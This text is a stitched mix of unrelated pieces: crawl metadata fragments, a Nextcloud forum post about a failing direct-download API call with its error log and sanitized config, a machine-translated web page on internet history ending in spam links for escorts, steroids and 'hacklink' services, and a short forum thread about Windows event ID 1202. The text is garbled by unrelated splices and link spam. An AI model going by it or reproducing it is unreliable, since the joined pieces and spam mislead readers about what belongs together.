5464, 5608, 5610, 5615, 5623, 5632, 5633, 5674, 5675, 5878, 5880, 5886, 5895, 5904, 5905, 5966, 5967, 6171, 6173, 6179, 6188, 6197, 6198, 6225, 6226, 6424, 6427, 6433, 6442, 6451, 6452, 6520, 6521, 6718, 6720, 6726, 6735, 6744, 6745, 6770, 6771, 6971, 6974, 6980, 6989, 6998, 6999, 7034, 7035, 7213, 7215, 7221, 7230, 7239, 7240, 7282, 7283, 7484, 7486, 7492, 7500, 7509, 7510, 7593, 7594, 7796, 7798, 7803, 7812, 7820, 7821, 7872, 7873, 8058, 8060, 8066, 8075, 8084, 8085, 8113, 8114, 8307, 8309, 8314, 8323, 8332, 8333, 8395, 8396, 8578, 8580, 8586, 8595, 8604, 8605, 8670, 8671, 8872, 8874, 8880, 8889, 8897, 8898, 8929, 8930, 9133, 9135, 9140, 9148, 9157, 9158, 9208, 9209, 9413, 9416, 9422, 9431, 9440, 9441, 9502, 9503, 9705, 9707, 9713, 9722, 9731, 9732, 9824, 9825, 10024, 10026, 10032, 10041, 10050, 10051, 10140, 10141, 10338, 10340, 10346, 10355, 10364, 10365, 10407, 10408, 10607, 10609, 10615, 10623, 10632, 10633, 10724, 10725, 10926, 10928, 10934, 10943, 10952, 10953, 10994, 10995, 11193, 11195, 11200, 11208, 11217, 11218, 11293, 11294, 11494, 11496, 11502, 11511, 11520, 11521, 11596, 11597, 11783, 11785, 11791, 11799, 11808, 11809, 11852, 11853, 12054, 12056, 12062, 12071, 12080, 12081, 12142, 12143, 12344, 12346, 12352, 12361, 12370, 12371, 12429, 12430, 12633, 12635, 12641, 12650, 12659, 12660, 12716, 12717, 12895, 12897, 12903, 12912, 12921, 12922, 13018, 13019, 13219, 13221, 13227, 13236, 13244, 13245, 13330, 13331, 13534, 13536, 13542, 13551, 13560, 13561, 13614, 13615, 13819, 13821, 13826, 13834, 13843, 13844, 13901, 13902, 14099, 14101, 14106, 14115, 14124, 14125, 14187, 14188, 14381 ] }
{ "red_pajama_v2": { "ccnet_original_length": 14381, "ccnet_original_nlines": 403, "rps_doc_curly_bracket": 0.0006953600095584989, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.31840962171554565, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.051119279116392136, "rps_doc_frac_lines_end_with_ellipsis": 0.12376237660646439, "rps_doc_frac_no_alph_words": 0.21383227407932281, "rps_doc_frac_unique_words": 0.3522438704967499, "rps_doc_mean_word_length": 4.70406436920166, "rps_doc_num_sentences": 161, "rps_doc_symbol_to_word_ratio": 0.018710320815443993, "rps_doc_unigram_entropy": 5.826208591461182, "rps_doc_word_count": 2362, "rps_doc_frac_chars_dupe_10grams": 0, "rps_doc_frac_chars_dupe_5grams": 0.0426604300737381, "rps_doc_frac_chars_dupe_6grams": 0.014760149642825127, "rps_doc_frac_chars_dupe_7grams": 0.010800110176205635, "rps_doc_frac_chars_dupe_8grams": 0, "rps_doc_frac_chars_dupe_9grams": 0, "rps_doc_frac_chars_top_2gram": 0.016740169376134872, "rps_doc_frac_chars_top_3gram": 0.02016020007431507, "rps_doc_frac_chars_top_4gram": 0.004950049798935652, "rps_doc_books_importance": -1393.1807861328125, "rps_doc_books_importance_length_correction": -1393.1807861328125, "rps_doc_openwebtext_importance": -822.6276245117188, "rps_doc_openwebtext_importance_length_correction": -822.6276245117188, "rps_doc_wikipedia_importance": -703.8698120117188, "rps_doc_wikipedia_importance_length_correction": -703.8698120117188 }, "fasttext": { "dclm": 0.39801061153411865, "english": 0.902315616607666, "fineweb_edu_approx": 1.4001209735870361, "eai_general_math": 0.021815959364175797, "eai_open_web_math": 0.10303174704313278, "eai_web_code": 0.020055830478668213 } }
{ "free_decimal_correspondence": { "primary": { "code": "005.1", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } }, "secondary": { "code": "004.6", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computers and Computer science" } } }, "bloom_cognitive_process": { "primary": { "code": "4", "label": "Analyze" }, "secondary": { "code": "3", "label": "Apply" } }, "bloom_knowledge_domain": { "primary": { "code": "3", "label": "Procedural" }, "secondary": { "code": "2", "label": "Conceptual" } }, "document_type_v1": { "primary": { "code": "5", "label": "Social/Forum" }, "secondary": { "code": "4", "label": "Code/Software" } }, "extraction_artifacts": { "primary": { "code": "0", "label": "No Artifacts" }, "secondary": { "code": "3", "label": "Irrelevant Content" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "2", "label": "Click Here References" } }, "document_type_v2": { "primary": { "code": "18", "label": "Q&A Forum" }, "secondary": { "code": "8", "label": "Documentation" } }, "reasoning_depth": { "primary": { "code": "3", "label": "Intermediate Reasoning" }, "secondary": { "code": "2", "label": "Basic Reasoning" } }, "technical_correctness": { "primary": { "code": "3", "label": "Mostly Correct" }, "secondary": { "code": "2", "label": "Partially Correct" } }, "education_level": { "primary": { "code": "3", "label": "Undergraduate Level" }, "secondary": { "code": "4", "label": "Graduate/Expert Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
8,840,976,431,283,348,000
Direct Download API does not work Nextcloud version (eg, 12.0.2): 18.0.3 Operating system and version (eg, Ubuntu 17.04): Ubuntu 18.04.4 LTS Apache or nginx version (eg, Apache 2.4.25): Apache/2.4.29 (Ubuntu) (apache2handler) PHP version (eg, 7.1): 7.2.24 The issue you are facing: when using the Direct Download Endpoint I get a Syntax Error. The PHP I use to make the Request: $curl=curl_init("cloud.domain.tld/ocs/v2.php/apps/dav/api/v1/direct"); curl_setopt_array($curl,[ CURLOPT_USERPWD => "User:XXXXX-XXXXX-XXXXX-XXXXX", CURLOPT_POST => true, CURLOPT_RETURNTRANSFER => true, CURLOPT_POSTFIELDS => "fileID=42", CURLOPT_USERAGENT => 'NerdsClub Nextcloudsuche', CURLOPT_HTTPHEADER => ["OCS-APIRequest: true"], ]); $response=curl_exec($curl); Response is: failure 404 Invalid query, please check the syntax. API specifications are here: http://www.freedesktop.org/wiki/Specifications/open-collaboration-services. Is this the first time you’ve seen this error? (Y/N): Y Steps to replicate it: 1. create app password for API auth 2. obtain a file ID 3. invoke the direct Download API endpoint: https://docs.nextcloud.com/server/latest/developer_manual/client_apis/OCS/ocs-api-overview.html#direct-download The output of your Nextcloud log in Admin > Logging: {"reqId":"TMPy6bmJqJYEzWiHiKCO","level":3,"time":"2020-04-17T12:00:03+00:00","remoteAddr":"192.168.42.254","user":"My1","app":"no app in context","method":"POST","url":"/ocs/v2.php/apps/dav/api/v1/direct","message":{"Exception":"Exception","Message":"Argument 1 passed to OCA\\DAV\\Controller\\DirectController::getUrl() must be of the type integer, null given, called in /var/www/cloud/lib/private/AppFramework/Http/Dispatcher.php on line 170","Code":0,"Trace":[{"file":"/var/www/cloud/lib/private/AppFramework/App.php","line":125,"function":"dispatch","class":"OC\\AppFramework\\Http\\Dispatcher","type":"->","args":[{"__class__":"OCA\\DAV\\Controller\\DirectController"},"getUrl"]},{"file":"/var/www/cloud/lib/private/AppFramework/Routing/RouteActionHandler.php","line":47,"function":"main","class":"OC\\AppFramework\\App","type":"::","args":["OCA\\DAV\\Controller\\DirectController","getUrl",{"__class__":"OC\\AppFramework\\DependencyInjection\\DIContainer"},{"_route":"ocs.dav.direct.getUrl"}]},{"function":"__invoke","class":"OC\\AppFramework\\Routing\\RouteActionHandler","type":"->","args":[{"_route":"ocs.dav.direct.getUrl"}]},{"file":"/var/www/cloud/lib/private/Route/Router.php","line":299,"function":"call_user_func","args":[{"__class__":"OC\\AppFramework\\Routing\\RouteActionHandler"},{"_route":"ocs.dav.direct.getUrl"}]},{"file":"/var/www/cloud/ocs/v1.php","line":82,"function":"match","class":"OC\\Route\\Router","type":"->","args":["/ocsapp/apps/dav/api/v1/direct"]},{"file":"/var/www/cloud/ocs/v2.php","line":24,"args":["/var/www/cloud/ocs/v1.php"],"function":"require_once"}],"File":"/var/www/cloud/lib/private/AppFramework/Http/Dispatcher.php","Line":109,"Previous":{"Exception":"TypeError","Message":"Argument 1 passed to OCA\\DAV\\Controller\\DirectController::getUrl() must be of the type integer, null given, called in /var/www/cloud/lib/private/AppFramework/Http/Dispatcher.php on line 170","Code":0,"Trace":[{"file":"/var/www/cloud/lib/private/AppFramework/Http/Dispatcher.php","line":170,"function":"getUrl","class":"OCA\\DAV\\Controller\\DirectController","type":"->","args":[null]},{"file":"/var/www/cloud/lib/private/AppFramework/Http/Dispatcher.php","line":99,"function":"executeController","class":"OC\\AppFramework\\Http\\Dispatcher","type":"->","args":[{"__class__":"OCA\\DAV\\Controller\\DirectController"},"getUrl"]},{"file":"/var/www/cloud/lib/private/AppFramework/App.php","line":125,"function":"dispatch","class":"OC\\AppFramework\\Http\\Dispatcher","type":"->","args":[{"__class__":"OCA\\DAV\\Controller\\DirectController"},"getUrl"]},{"file":"/var/www/cloud/lib/private/AppFramework/Routing/RouteActionHandler.php","line":47,"function":"main","class":"OC\\AppFramework\\App","type":"::","args":["OCA\\DAV\\Controller\\DirectController","getUrl",{"__class__":"OC\\AppFramework\\DependencyInjection\\DIContainer"},{"_route":"ocs.dav.direct.getUrl"}]},{"function":"__invoke","class":"OC\\AppFramework\\Routing\\RouteActionHandler","type":"->","args":[{"_route":"ocs.dav.direct.getUrl"}]},{"file":"/var/www/cloud/lib/private/Route/Router.php","line":299,"function":"call_user_func","args":[{"__class__":"OC\\AppFramework\\Routing\\RouteActionHandler"},{"_route":"ocs.dav.direct.getUrl"}]},{"file":"/var/www/cloud/ocs/v1.php","line":82,"function":"match","class":"OC\\Route\\Router","type":"->","args":["/ocsapp/apps/dav/api/v1/direct"]},{"file":"/var/www/cloud/ocs/v2.php","line":24,"args":["/var/www/cloud/ocs/v1.php"],"function":"require_once"}],"File":"/var/www/cloud/apps/dav/lib/Controller/DirectController.php","Line":84},"CustomMessage":"--"},"userAgent":"Download Tester","version":"18.0.3.0","id":"5e999c2382c81"} The output of your config.php file in /path/to/nextcloud (make sure you remove any identifiable information!): <?php $CONFIG = array ( 'instanceid' => 'NOPE', 'passwordsalt' => 'NOPE', 'secret' => 'NOPE', 'trusted_domains' => array ( 0 => 'NOPE', 1 => 'NOPE', 2 => 'NOPE', ), 'datadirectory' => '/var/www/nextcloud-data', 'dbtype' => 'mysql', 'version' => '18.0.3.0', 'overwrite.cli.url' => 'NOPE', 'htaccess.RewriteBase' => '/', 'dbname' => 'nextcloud', 'dbhost' => 'localhost', 'dbport' => '', 'dbtableprefix' => 'oc_', 'dbuser' => 'nextcloud', 'dbpassword' => 'NOPE', 'installed' => true, 'maintenance' => false, 'ldapIgnoreNamingRules' => false, 'ldapProviderFactory' => 'OCA\\User_LDAP\\LDAPProviderFactory', 'skeletondirectory' => '', 'memcache.local' => '\\OC\\Memcache\\APCu', 'redis' => array ( 'host' => '/var/run/redis/redis-server.sock', 'port' => 0, ), 'mysql.utf8mb4' => true, 'app_install_overwrite' => array ( 0 => 'twofactor_yubikey', 1 => 'ldapcontacts', 2 => 'secsignid', 3 => 'onlyoffice', 4 => 'afterlogic', ), 'theme' => '', 'loglevel' => 0, 'updater.release.channel' => 'stable', 'mail_domain' => 'NOPE', 'mail_from_address' => 'NOPE', 'mail_smtpmode' => 'smtp', 'mail_sendmailmode' => 'smtp', 'mail_smtpsecure' => 'ssl', 'mail_smtpauthtype' => 'LOGIN', 'mail_smtpauth' => 1, 'mail_smtphost' => 'NOPE', 'mail_smtpport' => '465', 'mail_smtpname' => 'NOPE', 'mail_smtppassword' => 'NOPE', ); The output of your Apache/nginx/system log in /var/log/____: nothing in the apache error logs
{ "url": "https://help.nextcloud.com/t/direct-download-api-does-not-work/78200", "source_domain": "help.nextcloud.com", "snapshot_id": "crawl=CC-MAIN-2022-21", "warc_metadata": { "Content-Length": "21452", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:SEQQXIRT3RYHYY3KHRLWXD7AKULJXVJX", "WARC-Concurrent-To": "<urn:uuid:7de3de7d-49ed-4522-98ee-9bc8ea47eb6b>", "WARC-Date": "2022-05-24T22:35:41Z", "WARC-IP-Address": "95.217.53.146", "WARC-Identified-Payload-Type": "text/html", "WARC-Payload-Digest": "sha1:LSIXUP23GQR2AGT3JAZP3DSZJXHSYGVY", "WARC-Record-ID": "<urn:uuid:9c11c300-9dc7-466c-9f90-8d196fccc1ef>", "WARC-Target-URI": "https://help.nextcloud.com/t/direct-download-api-does-not-work/78200", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:2a99759b-ab7a-4437-a871-649535a47a98>" }, "warc_info": "isPartOf: CC-MAIN-2022-21\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for May 2022\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-253\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.3-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 34, 35, 74, 142, 227, 257, 258, 284, 346, 347, 382, 383, 454, 480, 531, 553, 585, 620, 669, 717, 721, 749, 750, 763, 844, 845, 921, 922, 978, 979, 1002, 1003, 1041, 1063, 1221, 1222, 1275, 1276, 4936, 4937, 5048, 5049, 5050, 5056, 5074, 5100, 5128, 5150, 5173, 5183, 5200, 5217, 5234, 5239, 5287, 5310, 5337, 5370, 5403, 5430, 5457, 5475, 5503, 5530, 5556, 5579, 5605, 5641, 5707, 5736, 5782, 5795, 5805, 5855, 5872, 5877, 5904, 5933, 5943, 5973, 5998, 6020, 6043, 6066, 6071, 6088, 6107, 6148, 6175, 6208, 6237, 6270, 6300, 6334, 6358, 6387, 6415, 6444, 6477, 6480, 6481, 6542, 6543 ], "line_end_idx": [ 34, 35, 74, 142, 227, 257, 258, 284, 346, 347, 382, 383, 454, 480, 531, 553, 585, 620, 669, 717, 721, 749, 750, 763, 844, 845, 921, 922, 978, 979, 1002, 1003, 1041, 1063, 1221, 1222, 1275, 1276, 4936, 4937, 5048, 5049, 5050, 5056, 5074, 5100, 5128, 5150, 5173, 5183, 5200, 5217, 5234, 5239, 5287, 5310, 5337, 5370, 5403, 5430, 5457, 5475, 5503, 5530, 5556, 5579, 5605, 5641, 5707, 5736, 5782, 5795, 5805, 5855, 5872, 5877, 5904, 5933, 5943, 5973, 5998, 6020, 6043, 6066, 6071, 6088, 6107, 6148, 6175, 6208, 6237, 6270, 6300, 6334, 6358, 6387, 6415, 6444, 6477, 6480, 6481, 6542, 6543, 6575 ] }
{ "red_pajama_v2": { "ccnet_original_length": 6575, "ccnet_original_nlines": 103, "rps_doc_curly_bracket": 0.00912548042833805, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.04215027019381523, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.04459377005696297, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.5448992252349854, "rps_doc_frac_unique_words": 0.6345515251159668, "rps_doc_mean_word_length": 14.714285850524902, "rps_doc_num_sentences": 86, "rps_doc_symbol_to_word_ratio": 0.0006108700181357563, "rps_doc_unigram_entropy": 4.990944862365723, "rps_doc_word_count": 301, "rps_doc_frac_chars_dupe_10grams": 0.06412283331155777, "rps_doc_frac_chars_dupe_5grams": 0.06412283331155777, "rps_doc_frac_chars_dupe_6grams": 0.06412283331155777, "rps_doc_frac_chars_dupe_7grams": 0.06412283331155777, "rps_doc_frac_chars_dupe_8grams": 0.06412283331155777, "rps_doc_frac_chars_dupe_9grams": 0.06412283331155777, "rps_doc_frac_chars_top_2gram": 0.008128250017762184, "rps_doc_frac_chars_top_3gram": 0.0074508897960186005, "rps_doc_frac_chars_top_4gram": 0.010160310193896294, "rps_doc_books_importance": -552.6622314453125, "rps_doc_books_importance_length_correction": -552.6622314453125, "rps_doc_openwebtext_importance": -438.1198425292969, "rps_doc_openwebtext_importance_length_correction": -438.1198425292969, "rps_doc_wikipedia_importance": -363.1904296875, "rps_doc_wikipedia_importance_length_correction": -363.1904296875 }, "fasttext": { "dclm": 0.03338420018553734, "english": 0.5101330280303955, "fineweb_edu_approx": 1.4880757331848145, "eai_general_math": 0.03726894035935402, "eai_open_web_math": 0.11604403704404831, "eai_web_code": 0.43700742721557617 } }
{ "free_decimal_correspondence": { "primary": { "code": "005.1", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } }, "secondary": { "code": "004.678", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computers and Computer science" } } }, "bloom_cognitive_process": { "primary": { "code": "3", "label": "Apply" }, "secondary": { "code": "2", "label": "Understand" } }, "bloom_knowledge_domain": { "primary": { "code": "3", "label": "Procedural" }, "secondary": { "code": "2", "label": "Conceptual" } }, "document_type_v1": { "primary": { "code": "5", "label": "Social/Forum" }, "secondary": { "code": "-1", "label": "Abstain" } }, "extraction_artifacts": { "primary": { "code": "0", "label": "No Artifacts" }, "secondary": { "code": "3", "label": "Irrelevant Content" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "18", "label": "Q&A Forum" }, "secondary": { "code": "21", "label": "Customer Support" } }, "reasoning_depth": { "primary": { "code": "2", "label": "Basic Reasoning" }, "secondary": { "code": "3", "label": "Intermediate Reasoning" } }, "technical_correctness": { "primary": { "code": "3", "label": "Mostly Correct" }, "secondary": { "code": "4", "label": "Highly Correct" } }, "education_level": { "primary": { "code": "3", "label": "Undergraduate Level" }, "secondary": { "code": "4", "label": "Graduate/Expert Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
7,825,676,307,565,097,000
WWW Enpatika The first Laptop networks were being committed Unique-reason methods for example SABRE (an airline reservation system) and AUTODIN I (a defense command-and-Manage system), the two designed and carried out within the late nineteen fifties and early sixties. From the early sixties Laptop companies had begun to employ semiconductor technological innovation in industrial solutions, and the two typical batch-processing and time-sharing methods were being in place in lots of substantial, technologically Innovative organizations. Time-sharing methods allowed a computer’s means to get shared in speedy succession with multiple customers, cycling throughout the queue of customers so promptly that the pc appeared focused on Every single consumer’s tasks despite the existence of many Other folks accessing the system “simultaneously.” This led on the notion of sharing Laptop means (identified as host personal computers or simply hosts) more than a complete community. Host-to-host interactions were being envisioned, together with entry to specialized means (for example supercomputers and mass storage methods) and interactive access by distant customers on the computational powers of time-sharing methods Positioned elsewhere. These ideas were being to start with recognized in ARPANET, which established the primary host-to-host community link on Oct 29, 1969. It absolutely was made through the Superior Analysis Assignments Company (ARPA) from the U.S. Division of Protection. ARPANET was one of the to start with basic-reason Laptop networks. It linked time-sharing personal computers at govt-supported exploration sites, principally universities in America, and it quickly grew to become a important bit of infrastructure for the pc science exploration community in America. Tools and purposes—such as the easy mail transfer protocol (SMTP, frequently referred to as e-mail), for sending brief messages, as well as the file transfer protocol (FTP), for for a longer time transmissions—promptly emerged. So as to reach Price tag-efficient interactive communications involving personal computers, which generally talk in short bursts of information, ARPANET used The brand new technological innovation of packet switching. Packet switching can take substantial messages (or chunks of Laptop facts) and breaks them into lesser, workable parts (often called packets) that can vacation independently more than any available circuit on the goal spot, exactly where the parts are reassembled. As a result, not like regular voice communications, packet switching isn’t going to demand a one committed circuit involving Every single pair of customers. Business packet networks were being introduced within the 1970s, but these were being designed principally to supply economical entry to distant personal computers by committed terminals. Briefly, they changed extensive-distance modem connections by significantly less-costly “Digital” circuits more than packet networks. In America, Telenet and Tymnet were being two these kinds of packet networks. Neither supported host-to-host communications; within the 1970s this was however the province from the exploration networks, and it might stay so for many years. DARPA (Protection Superior Analysis Assignments Company; previously ARPA) supported initiatives for floor-dependent and satellite-dependent packet networks. The bottom-dependent packet radio system presented cell entry to computing means, even though the packet satellite community linked America with many European nations around the world and enabled connections with extensively dispersed and distant regions. While using the introduction of packet radio, connecting a cell terminal to a computer community grew to become feasible. However, time-sharing methods were being then however much too substantial, unwieldy, and dear to get cell or maybe to exist outdoors a local weather-controlled computing natural environment. A strong inspiration thus existed to attach the packet radio community to ARPANET as a way to allow cell customers with easy terminals to access the time-sharing methods for which they had authorization. In the same way, the packet satellite community was used by DARPA to website link America with satellite terminals serving the United Kingdom, Norway, Germany, and Italy. These terminals, having said that, had to be linked to other networks in European nations around the world as a way to reach the conclude customers. As a result arose the need to hook up the packet satellite Internet, together with the packet radio Internet, with other networks. Basis of the online world The world wide web resulted from the hassle to attach different exploration networks in America and Europe. 1st, DARPA established a system to investigate the interconnection of “heterogeneous networks.” This system, identified as Internetting, was depending on the recently introduced principle of open up architecture networking, by which networks with outlined conventional interfaces would be interconnected by “gateways.” A Doing work demonstration from the principle was prepared. In order for the principle to work, a brand new protocol had to be designed and designed; in fact, a system architecture was also needed. In 1974 Vinton Cerf, then at Stanford University in California, which author, then at DARPA, collaborated on the paper that to start with explained such a protocol and system architecture—namely, the transmission Manage protocol (TCP), which enabled different types of devices on networks all around the planet to route and assemble facts packets. TCP, which at first involved the online world protocol (IP), a worldwide addressing system that allowed routers to acquire facts packets for their top spot, formed the TCP/IP conventional, which was adopted through the U.S. Division of Protection in 1980. From the early nineteen eighties the “open up architecture” from the TCP/IP approach was adopted and endorsed by a number of other researchers and sooner or later by technologists and businessmen world wide. From the nineteen eighties other U.S. governmental bodies were being seriously involved with networking, including the National Science Basis (NSF), the Division of Electrical power, as well as the National Aeronautics and House Administration (NASA). Although DARPA had played a seminal function in making a small-scale version of the online world among its researchers, NSF labored with DARPA to increase entry to your complete scientific and tutorial community and to help make TCP/IP the conventional in all federally supported exploration networks. In 1985–86 NSF funded the primary 5 supercomputing centres—at Princeton University, the University of Pittsburgh, the University of California, San Diego, the University of Illinois, and Cornell University. Within the nineteen eighties NSF also funded the development and operation from the NSFNET, a countrywide “spine” community to attach these centres. From the late nineteen eighties the community was functioning at countless bits per 2nd. NSF also funded different nonprofit neighborhood and regional networks to attach other customers on the NSFNET. A handful of industrial networks also started within the late nineteen eighties; these were being quickly joined by Other folks, as well as the Business World-wide-web Exchange (CIX) was formed to permit transit website traffic involving industrial networks that if not would not have been allowed around the NSFNET spine. In 1995, just after intensive review of the situation, NSF resolved that assistance from the NSFNET infrastructure was now not needed, due to the fact a lot of industrial vendors were being now ready and in the position to fulfill the requirements from the exploration community, and its assistance was withdrawn. Meanwhile, NSF had fostered a aggressive collection of economic World-wide-web backbones linked to each other by way of so-identified as community access details (NAPs). https://whatisasocket.enpatika.com/ https://whatisalightbulb.enpatika.com/ https://whatareprojectionlamps.enpatika.com/ https://golfequipment.enpatika.com/ https://whatis3dprinter.enpatika.com/ https://howmuchissilver.enpatika.com/ https://whatisbatteryandchargers.enpatika.com/ https://whatisitforbidden.enpatika.com/ https://whatisbbq.enpatika.com/ https://whatisacandle.enpatika.com/ Bir cevap yazın E-posta hesabınız yayımlanmayacak. Seo Fiyatları https://rizeotobusbiletleri.name.tr/ https://yapbozbirlestirme.name.tr/ https://partimalzemeleri.name.tr/ https://kahvehane.name.tr/ https://bilecikwebtasarimseo.name.tr/ Heets Satın Al Steroid Satın Al Steroid Sipariş Fantezi İç Giyim Hacklink takipçi satın al yatırımsız deneme bonusu Puro Satın Al samsun escort balıkesir escort kahramanmaraş escort van escort aydın escort van escort kahramanmaraş escort puff bar satın al https://seokoloji.gen.tr hacklink hacklink hacklink hacklink hacklink hacklink https://steroidvip2.com/ steroid satın al betboo
{ "url": "https://vegan.name.tr/www-enpatika/", "source_domain": "vegan.name.tr", "snapshot_id": "crawl=CC-MAIN-2022-27", "warc_metadata": { "Content-Length": "50344", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:5XC6M3DEF57T64YPJMSQ36E3ZY7JQ3FQ", "WARC-Concurrent-To": "<urn:uuid:4119b804-d618-4a5a-a4ef-c56eefeafb6e>", "WARC-Date": "2022-07-02T05:40:09Z", "WARC-IP-Address": "172.67.163.190", "WARC-Identified-Payload-Type": "text/html", "WARC-Payload-Digest": "sha1:Z2CVPMLWYV4O4ZJONUS4DUA6POM3SFEA", "WARC-Record-ID": "<urn:uuid:530af79a-3eb2-46b9-84e8-cd76cadb32f3>", "WARC-Target-URI": "https://vegan.name.tr/www-enpatika/", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:f8263d73-f005-458f-bc75-0ae4ed749a3d>" }, "warc_info": "isPartOf: CC-MAIN-2022-27\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for June/July 2022\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-34\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.3-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 13, 14, 7991, 7992, 8028, 8029, 8068, 8069, 8114, 8115, 8151, 8152, 8190, 8191, 8229, 8230, 8277, 8278, 8318, 8319, 8351, 8352, 8388, 8389, 8405, 8406, 8441, 8442, 8642, 8701, 8718, 8883, 8908, 8962 ], "line_end_idx": [ 13, 14, 7991, 7992, 8028, 8029, 8068, 8069, 8114, 8115, 8151, 8152, 8190, 8191, 8229, 8230, 8277, 8278, 8318, 8319, 8351, 8352, 8388, 8389, 8405, 8406, 8441, 8442, 8642, 8701, 8718, 8883, 8908, 8962, 9010 ] }
{ "red_pajama_v2": { "ccnet_original_length": 9010, "ccnet_original_nlines": 34, "rps_doc_curly_bracket": 0, "rps_doc_ldnoobw_words": 7, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.32213929295539856, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.03109453059732914, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.16977612674236298, "rps_doc_frac_unique_words": 0.4346431493759155, "rps_doc_mean_word_length": 5.987971305847168, "rps_doc_num_sentences": 83, "rps_doc_symbol_to_word_ratio": 0, "rps_doc_unigram_entropy": 5.6187567710876465, "rps_doc_word_count": 1247, "rps_doc_frac_chars_dupe_10grams": 0, "rps_doc_frac_chars_dupe_5grams": 0.02089191973209381, "rps_doc_frac_chars_dupe_6grams": 0, "rps_doc_frac_chars_dupe_7grams": 0, "rps_doc_frac_chars_dupe_8grams": 0, "rps_doc_frac_chars_dupe_9grams": 0, "rps_doc_frac_chars_top_2gram": 0.011249500326812267, "rps_doc_frac_chars_top_3gram": 0.012856570072472095, "rps_doc_frac_chars_top_4gram": 0.004419450182467699, "rps_doc_books_importance": -634.6376953125, "rps_doc_books_importance_length_correction": -634.6376953125, "rps_doc_openwebtext_importance": -321.6960144042969, "rps_doc_openwebtext_importance_length_correction": -321.6960144042969, "rps_doc_wikipedia_importance": -245.63209533691406, "rps_doc_wikipedia_importance_length_correction": -245.63209533691406 }, "fasttext": { "dclm": 0.0335882306098938, "english": 0.9470931887626648, "fineweb_edu_approx": 2.5326147079467773, "eai_general_math": 0.34398317337036133, "eai_open_web_math": 0.17067843675613403, "eai_web_code": 0.11017798632383347 } }
{ "free_decimal_correspondence": { "primary": { "code": "004.6", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computers and Computer science" } }, "secondary": { "code": "004.019", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computers and Computer science" } } }, "bloom_cognitive_process": { "primary": { "code": "2", "label": "Understand" }, "secondary": { "code": "3", "label": "Apply" } }, "bloom_knowledge_domain": { "primary": { "code": "2", "label": "Conceptual" }, "secondary": { "code": "3", "label": "Procedural" } }, "document_type_v1": { "primary": { "code": "3", "label": "Reference/Encyclopedic/Educational" }, "secondary": { "code": "-1", "label": "Abstain" } }, "extraction_artifacts": { "primary": { "code": "3", "label": "Irrelevant Content" }, "secondary": { "code": "0", "label": "No Artifacts" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "10", "label": "Knowledge Article" }, "secondary": { "code": "8", "label": "Documentation" } }, "reasoning_depth": { "primary": { "code": "2", "label": "Basic Reasoning" }, "secondary": { "code": "3", "label": "Intermediate Reasoning" } }, "technical_correctness": { "primary": { "code": "3", "label": "Mostly Correct" }, "secondary": { "code": "4", "label": "Highly Correct" } }, "education_level": { "primary": { "code": "2", "label": "High School Level" }, "secondary": { "code": "3", "label": "Undergraduate Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
2,192,330,894,057,828,600
event id : 1202 when i go to check my event id  i found an error occured event id:1202 , how can i resolve this event moataz_rhsAsked: Who is Participating?   JapyDoogeCommented: 0   santhoshuCommented: http://support.microsoft.com/kb/324383 - This microsoft link can also help you. If you are stuck, go to eventid.net and search for this event id there.  You will get handful of troubleshooting tips. 0   tsw2000Commented: Did you recently change your GPO? If you did, Check the %SYSTEMROOT%\security\logs\winlogon.log for errors Alternatively you can try to Do a reboot on the machine. Or if you are allowed to install, go to windows update, patch to the latest and reboot. 0 Question has a verified solution. Are you are experiencing a similar issue? Get a personalized answer when you ask a related question. Have a better answer? Share it in a comment. All Courses From novice to tech pro — start learning today.
